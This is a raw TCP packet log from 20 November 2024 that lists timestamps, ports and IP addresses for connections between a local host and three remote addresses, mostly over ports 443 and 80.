Nov 20, 2024 17:41:40.795623064 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:40.795854092 CET	49737	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:40.809926033 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:40.809964895 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:40.810044050 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:40.810400009 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:40.810415030 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.030709982 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.030785084 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:42.033824921 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:42.033828974 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.034141064 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.046699047 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:42.046721935 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:42.046777964 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.289918900 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.290548086 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.290579081 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.292989016 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.293008089 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.317490101 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.318162918 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.318213940 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.318660975 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.318675041 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.356782913 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.357906103 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.357943058 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.358763933 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.358771086 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.538247108 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.542295933 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.542318106 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.544167042 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.544173002 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.558613062 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.559242964 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.559278011 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.559886932 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.559905052 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.640559912 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.640678883 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.640831947 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:42.640983105 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:42.640983105 CET	49757	443	192.168.2.7	104.21.66.38
Nov 20, 2024 17:41:42.641002893 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.641012907 CET	443	49757	104.21.66.38	192.168.2.7
Nov 20, 2024 17:41:42.642946959 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:42.746056080 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.746114969 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.746177912 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.746474028 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.746488094 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.746500969 CET	49752	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.746506929 CET	443	49752	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.749577999 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.749608040 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.749677896 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.749949932 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.749963045 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.755090952 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.755177021 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.755352974 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.755431890 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.755433083 CET	49756	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.755472898 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.755503893 CET	443	49756	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.757901907 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.757940054 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.758060932 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.758261919 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.758274078 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.766285896 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:42.766362906 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:42.766503096 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:42.812024117 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.812186003 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.812334061 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.812644958 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.812664032 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.812678099 CET	49753	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.812684059 CET	443	49753	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.818815947 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.818855047 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.818929911 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.819083929 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.819106102 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.988830090 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.988899946 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.989033937 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.989825964 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.989844084 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.989856005 CET	49755	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.989862919 CET	443	49755	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.997325897 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.997421026 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:42.997523069 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.997684002 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:42.997714996 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:43.019256115 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:43.019364119 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:43.019458055 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:43.019582987 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:43.019599915 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:43.019609928 CET	49754	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:43.019614935 CET	443	49754	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:43.021919012 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:43.021969080 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:43.022036076 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:43.022361040 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:43.022376060 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:43.054878950 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283179998 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283260107 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283283949 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283302069 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283334970 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283348083 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.283350945 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283368111 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283375025 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.283391953 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283407927 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283426046 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.283426046 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.283457041 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.283476114 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.406457901 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.411658049 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.411720037 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.480479956 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.480614901 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.480726004 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.483051062 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.483091116 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.483166933 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.491575003 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.491609097 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.491695881 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.500202894 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.500355959 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.500437021 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.508781910 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.508830070 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.508919954 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.517399073 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.517617941 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.517719030 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.526122093 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.526207924 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.526324987 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.534512043 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.535167933 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.535223961 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.543159008 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.543458939 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.543531895 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.551691055 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.551806927 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.551881075 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.560152054 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.560228109 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.560293913 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.600298882 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.641932011 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.648848057 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.649431944 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.649470091 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.651235104 CET	49759	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.651242018 CET	443	49759	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.657241106 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.657804012 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.657824039 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.658257961 CET	49761	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.658266068 CET	443	49761	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.672914028 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.673171997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.673278093 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.677197933 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.677290916 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.677365065 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.686425924 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.686573982 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.686798096 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.694869041 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.695193052 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.695321083 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.699819088 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.700092077 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.700191021 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.704684019 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.704977989 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.705075979 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.709049940 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.709286928 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.709419012 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.713654041 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.713735104 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.713821888 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.718401909 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.718596935 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.718677044 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.723170996 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.723474979 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.723551035 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.727116108 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.727921009 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.727957964 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.727969885 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.728210926 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.728261948 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.728399038 CET	49760	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.728408098 CET	443	49760	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.732733011 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.732997894 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.733062983 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.737576008 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.737870932 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.737952948 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.742321968 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.742703915 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.742769957 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.747160912 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.747529984 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.747605085 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.751869917 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.751952887 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.752026081 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.753904104 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.754604101 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.754630089 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.755116940 CET	49762	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.755122900 CET	443	49762	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.756638050 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.756771088 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.756839037 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.761408091 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.761789083 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.761867046 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.766190052 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.766393900 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.766460896 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.771069050 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.771105051 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.771203995 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.794951916 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.795850039 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.795936108 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.797341108 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.831326962 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.832057953 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.832092047 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.832514048 CET	49763	443	192.168.2.7	13.107.246.63
Nov 20, 2024 17:41:44.832528114 CET	443	49763	13.107.246.63	192.168.2.7
Nov 20, 2024 17:41:44.845022917 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.864797115 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.864998102 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.865066051 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.867100000 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.867155075 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.867212057 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.871526957 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.871717930 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.871774912 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.875803947 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.875971079 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.876025915 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.880214930 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.880351067 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.880418062 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.884453058 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.884505987 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.884578943 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.888495922 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.888592005 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.888667107 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.892467976 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.892507076 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.892565012 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.896186113 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.896295071 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.896353960 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.900084972 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.900161982 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.900230885 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.902915955 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.903038979 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.903095007 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.905857086 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.905992031 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.906043053 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.908857107 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.908951998 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.908998013 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.911861897 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.912113905 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.912167072 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.914856911 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.914983034 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.915168047 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.917815924 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.917947054 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.917999029 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.920783997 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.920866966 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.920916080 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.923813105 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.923964024 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.924091101 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.926843882 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.927100897 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.927158117 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.929780960 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.930056095 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.930108070 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.932853937 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.933000088 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.933051109 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.935736895 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.935801029 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.935849905 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.938070059 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.938332081 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.938380003 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.940396070 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.940535069 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.940592051 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.942675114 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.942874908 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.942929029 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:44.945084095 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.945228100 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:44.945290089 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.056938887 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.057135105 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.057210922 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.058132887 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.058316946 CET	80	49758	185.215.113.16	192.168.2.7
Nov 20, 2024 17:41:45.058367014 CET	49758	80	192.168.2.7	185.215.113.16
Nov 20, 2024 17:41:45.060440063 CET	80	49758	185.215.113.16	192.168.2.7
